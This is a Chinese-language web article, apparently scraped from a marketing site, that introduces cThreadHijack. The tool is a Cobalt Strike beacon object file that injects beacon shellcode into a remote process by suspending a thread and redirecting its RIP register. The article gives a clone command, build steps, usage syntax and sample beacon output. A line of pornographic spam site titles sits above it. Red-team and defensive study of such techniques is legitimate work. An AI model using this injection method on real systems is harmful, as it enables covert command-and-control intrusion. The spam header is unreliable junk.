日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
如何使用cThreadHijack實(shí)現(xiàn)遠(yuǎn)程進(jìn)程注入研究

關(guān)于cThreadHijack

cThreadHijack是一個(gè)針對(duì)遠(yuǎn)程進(jìn)程注入信標(biāo)對(duì)象文件(BOF),該工具主要通過(guò)線程劫持技術(shù)實(shí)現(xiàn)其功能,并且不會(huì)生成任何遠(yuǎn)程線程。

運(yùn)行機(jī)制

cThreadHijack可以根據(jù)用戶提供的監(jiān)聽(tīng)器參數(shù)來(lái)生成原始信標(biāo)Shellcode,并根據(jù)用戶提供的PID參數(shù)將其注入至遠(yuǎn)程進(jìn)程中,這一步主要利用的是VirtualAllocEx和WriteProcessMemory方法。

接下來(lái),cThreadHijack并不會(huì)通過(guò)CreateRemoteThread或其他API生成一個(gè)新的遠(yuǎn)程線程,而是識(shí)別目標(biāo)進(jìn)程中的第一個(gè)線程,掛起目標(biāo)線程之后,它便會(huì)通過(guò)一個(gè)CONTEXT結(jié)構(gòu)體來(lái)獲取線程CPU狀態(tài)的內(nèi)容。接下來(lái),它會(huì)修改CONTEXT結(jié)構(gòu)體中RIP寄存器成員的地址,并將其指向遠(yuǎn)程Payload。

在執(zhí)行之前,cThreadHijack會(huì)將一個(gè)封裝了信標(biāo)Shellcode的程序添加至一個(gè)針對(duì)CreateThread的調(diào)用方法中。CreateThread程序封裝在一個(gè)名叫NtContinue的函數(shù)調(diào)用程序,可以允許之前被劫持的線程在不導(dǎo)致遠(yuǎn)程進(jìn)程崩潰的前提下恢復(fù)運(yùn)行。cThreadHijack的信標(biāo)Payload在生成時(shí)會(huì)帶有一個(gè)“線程退出函數(shù)”,以允許進(jìn)程在信標(biāo)退出之后繼續(xù)執(zhí)行。

信標(biāo)監(jiān)聽(tīng)器的名稱如果包含空格的話,必須放在引號(hào)中。

工具下載

廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:

 
 
  1. git clone https://github.com/connormcgarr/cThreadHijack.git 

項(xiàng)目構(gòu)建

首先,在一臺(tái)Windows虛擬機(jī)上,點(diǎn)擊Win鍵,輸入“x64 Native Tools”打開(kāi)“x64 Native Tools Command Prompt for VS”對(duì)話框。

接下來(lái),將目錄修改為“C:\path\to\cThreadHijack”。

然后運(yùn)行下列命令:

 
 
  1. nmake -f Makefile.msvc build 

最后,通過(guò)Cobalt Strike的“Script Console”以及參數(shù)“l(fā)oad /path/to/cThreadHijack.cna”來(lái)加載cThreadHijack.cna。

工具使用

 
 
  1. cThreadHijack PID LISTENER_NAME 

運(yùn)行結(jié)果樣例如下:

 
 
  1. beacon> cThreadHijack 7340 TESTING 
  2.  
  3. [+] host called home, sent: 268433 bytes 
  4.  
  5. [+] received output: 
  6.  
  7. [+] Target process PID: 7340 
  8.  
  9.   
  10.  
  11. [+] received output: 
  12.  
  13. [+] Opened a handle to PID 7340 
  14.  
  15.   
  16.  
  17. [+] received output: 
  18.  
  19. [+] Found a thread in the target process! Thread ID: 10212 
  20.  
  21.   
  22.  
  23. [+] received output: 
  24.  
  25. [+] Suspending the targeted thread... 
  26.  
  27.   
  28.  
  29. [+] received output: 
  30.  
  31. [+] Wrote Beacon shellcode to the remote process! 
  32.  
  33.   
  34.  
  35. [+] received output: 
  36.  
  37. [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process! 
  38.  
  39.   
  40.  
  41. [+] received output: 
  42.  
  43. [+] Size of NtContinue routine: 64 bytes 
  44.  
  45. [+] Size of CONTEXT structure: 1232 bytes 
  46.  
  47. [+] Size of stack alignment routine: 4 
  48.  
  49. [+] Size of CreateThread routine: 64 
  50.  
  51. [+] Size of shellcode: 261632 bytes 
  52.  
  53.   
  54.  
  55. [+] received output: 
  56.  
  57. [+] Wrote payload to buffer to previously allocated buffer inside of! 
  58.  
  59.   
  60.  
  61. [+] received output: 
  62.  
  63. [+] Current RIP: 0x7ffa55df69a4 
  64.  
  65.   
  66.  
  67. [+] received output: 
  68.  
  69. [+] Successfully pointed the target thread's RIP register to the shellcode! 
  70.  
  71.   
  72.  
  73. [+] received output: 
  74.  
  75. [+] Current RIP: 0x201f4ab0000 
  76.  
  77.   
  78.  
  79. [+] received output: 
  80.  
  81. [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute... 

項(xiàng)目地址

cThreadHijack:【GitHub傳送門(mén)】


本文標(biāo)題:如何使用cThreadHijack實(shí)現(xiàn)遠(yuǎn)程進(jìn)程注入研究
分享鏈接:http://www.5511xx.com/article/cccpoph.html